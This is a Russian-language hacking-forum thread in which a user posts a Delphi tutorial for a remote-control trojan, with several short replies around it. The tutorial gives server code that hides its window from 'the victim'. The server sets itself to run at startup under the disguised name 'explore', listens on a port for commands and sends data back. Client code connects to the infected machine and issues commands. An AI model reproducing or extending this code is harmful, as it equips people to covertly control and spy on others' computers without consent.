quote:

Trojan by HT-team

quote:

ORIGINAL: H4R4K1R1

это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)

quote:

ORIGINAL: H4R4K1R1

это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)

quote:

ORIGINAL: BlagJack

quote:

ORIGINAL: H4R4K1R1

это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)

А щас сумеешь написать драйвер уровня ядра на Delphi , до ? =\

quote:

ORIGINAL: H4R4K1R1

думаю смогу :)

quote:

ORIGINAL: H4R4K1R1

сайт есть :)

quote:

ORIGINAL: H4R4K1R1

да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)

quote:

ORIGINAL: H4R4K1R1

да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)

quote:

может ты имел в виду "убогом/кривом/глючном" ?

quote:

ORIGINAL: BlagJack

quote:

ORIGINAL: H4R4K1R1

да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)

Создай еще один сейчас и копипастини туда все свои сорцы и статьи.

quote:

Trojan by HT-team :)

quote:

ORIGINAL: H4R4K1R1

Trojan by HT-team :)

[Сервер]
1)Кидаем на форму серверный компонент , пусть это будет ServerSocket1.
Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

2)В разделе программы var описываем переменные:
i:string;

3)Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:

Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь}
ServerSocket1.Open; {Запускаем сервер}

4)Теперь заставим трояна прописываться в автозагрузку: (в uses добавить registry, в var - registry:TRegistry

registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('software\microsoft\windows\curre ntversion\run',true); {подключ}
registry.Writestring('explore',Application.ExeName ); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}

5)Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:

i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}

6)Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера.
В той же процедуре добавляем:

if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');

Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".


[Клиент]

1)В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

2)Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

3)Дальше обработчики событий для клиента:

{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь…';

{OnRead}
i:=Client.Socket.ReceiveText;
sb.SimpleText:=i;

4)Теперь обработаем событие OnClick для кнопок:

{Exit}
form1.close;

{Connect}
client.Address:=IP.text; //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';


aka H4R4K1R1.
Special for HT-team :)

quote:

ORIGINAL: _SaZ_

Помогли бы лучше мне свой поток ввода-вывода на плюсах для последовательных портов написать (аля std::iostream)